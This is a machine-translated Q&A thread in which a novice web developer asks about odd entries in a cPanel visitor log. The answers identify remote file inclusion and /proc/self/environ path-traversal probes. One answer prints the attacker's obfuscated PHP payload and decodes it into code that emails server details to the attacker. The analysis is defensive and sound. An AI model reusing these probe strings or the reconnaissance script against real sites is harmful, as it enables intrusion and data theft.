我对web开发还很陌生,并且对安全性有疑问。
我每天都看看我的CPanel中的“最新的访问者”,今天有一些奇怪的条目(一个粘贴在下面)。
不知道有什么更好的,它在我看来就像有一些网站是指用户访问我的网站,出于某种原因。 有人可以解释这些是真的吗?如果有什么需要关注的? 谢谢!
Host: 77.68.38.175 /?p=http://teen-37.net/myid.jpg? Http Code: 404 Date: Feb 17 08:13:58 Http Version: HTTP/1.1 Size in Bytes: - Referer: - Agent: libwww-perl/5.805 * /?p=../../../../../../../../../../../../../../../proc/self/environ%00 Http Code: 404 Date: Feb 17 08:13:59 Http Version: HTTP/1.1 Size in Bytes: - Referer: - Agent: libwww-perl/5.805
简短的回答:
有人在攻击你
很长的回答:
有人正在使用LWP模块的Perl脚本来作为一个Web浏览器,并要求从您的服务器的奇怪的URL,使它做一些危险的事情。 这可能是自动攻击,或者是有人正在手动进行。
第二项是试图让你的服务器包括../../../../../../../../../../../../../。 ./../proc/self/environ,这意味着很多次进入父目录(所以可能在根目录结束),并显示/ proc / self / environ在Linux中显示你的环境variables这个过程可以给攻击者一些有用的信息。 更新:通过将PHP代码放入User-Agent HTTP Header中,然后在页面中包含/ proc / self / environ,它不仅可以获取信息,还可以探测本地文件包含漏洞,您可以在其中运行任意代码。 (感谢aaz指出。)
第一个条目更有趣,因为它显然是试图让你的服务器下载攻击者的代码,并让你的服务器运行它。 这是我刚刚下载的时候http://teen-37.net/myid.jpg – 这不是一个JPEG图像,而是一个PHP脚本:
<? $win = strtolower(substr(PHP_OS,0,3)) == "win"; echo "B"."a"."M"."b"."Y"."<br>"; if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = true; $hsafemode = "4ON6"; } else {$safemode = false; $hsafemode = "3OFF6";} $xos = wordwrap(php_uname(),90,"<br>",1); $xpwd = @getcwd(); $OS = "[SAFEMOD:".$hsafemode."] [Kernel:".$xos."]"; echo "<center><A class=ria href=\"http://".$OS."\">";echo "B"."a"."M"."b"."Y</A></center><br>"; echo "<br>OSTYPE:$OS<br>"; echo "<br>Pwd:$xpwd<br>"; eval(base64_decode("JGNyZWF+IjsKbWFpbCggJGNyZWF0b3IsICRzdWJqLCAkbXNnLCAkZnJvbSk7")); die("<center> ByroeNet </center>"); ?>
最后一部分 – eval(base64_decode(“…”)); – 显然是试图隐藏它在做什么,但你可以解码它,你会得到这个:
$creator = base64_decode("bXlpZHNjYW5AZ21haWwuY29t"); ($safe_mode)?($safemode="ON"):($safemode="OFF"); $base="http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $name = php_uname(); $ip = getenv("REMOTE_ADDR"); $host = gethostbyaddr($_SERVER[REMOTE_ADDR]); $subj = $_SERVER['HTTP_HOST']; $msg = "\nBASE: $base\nuname -a: $name\nIP: $ip\nHost: $host\n$pwds\n"; $from ="From: MODE_=".$safemode."<tool@".$_SERVER['HTTP_HOST'].">"; mail( $creator, $subj, $msg, $from);
而现在,当你解码“bXlpZHNjYW5AZ21haWwuY29t”你得到的电子邮件地址。
我们现在知道有人试图让你的服务器做什么 – 发送电子邮件与你的服务器的一些信息。
你现在拥有攻击服务器的IP地址,它可能会或可能不知道它正在攻击 – 77.68.38.175似乎是server77-68-38-175.live-servers.net – 必须使用攻击者的电子邮件偶尔收集数据,以及托pipe恶意代码的域名。
searchwhois数据库的teen-37.net(这是托pipe的恶意代码),77.68.38.175的IP地址(这是攻击你的服务器)和123.30.181.39的IP地址(IP的teen-37.net)的联系信息负责举报滥用行为的人员
同时也为teen-37.netsearch和恶意脚本的一些随机部分可能会给你更有趣的信息。
现在,从404响应代码中,我们可以假定这两个特定的攻击不起作用,但是你不能确定,因为理论上当攻击者控制你的服务器时,他可以在做他想做的事情之后用404做出回应。
祝你好运。
在第一个例子中,有人试图将自己的内容包含在您的网站中。 如果你的$_GET['p']做了一个简单的include()或file_get_contents()调用,可以做到这一点。 第二个例子也是如此,虽然那个是检索有关系统环境的信息。
不。 两个示例日志条目中的“引用者”字段都是空的。 在这种情况下,用户直接进入网站,或者他们的浏览器根本没有提供产生这些信息的引用头。
在这种情况下,涉及的浏览器或“用户代理”是一个libwww-perl,所以似乎用perl编写的一些工具正在提出请求。
从第二个URL看起来像是在你的Web服务器上进行破解。 这在互联网上是非常普遍的,只要你的networking服务器是最新的,你不应该有任何问题。
看起来像是“人”(可能只是一个脚本)探测漏洞。 第一个看起来像是testing它是否能让你的网站执行任意redirect或显示任意数据,第二个是试图让你的网站在文件系统上显示任意文件。
?p=../../../../../../../../../../../../../../../proc/self/environ
这是试图探查你的系统进程。 无论你做什么, 确保你清理你的variables 。 检查这样的查询,因为如果这是注入到错误的脚本,你会有很多的修复。
第二个是非常严重的问题。
这是一个技巧,用于使用阅读function写入您的系统。
假设您的$ _GET ['p']variables被用作文件的名称,请使用basename()函数或其他方法对其进行清理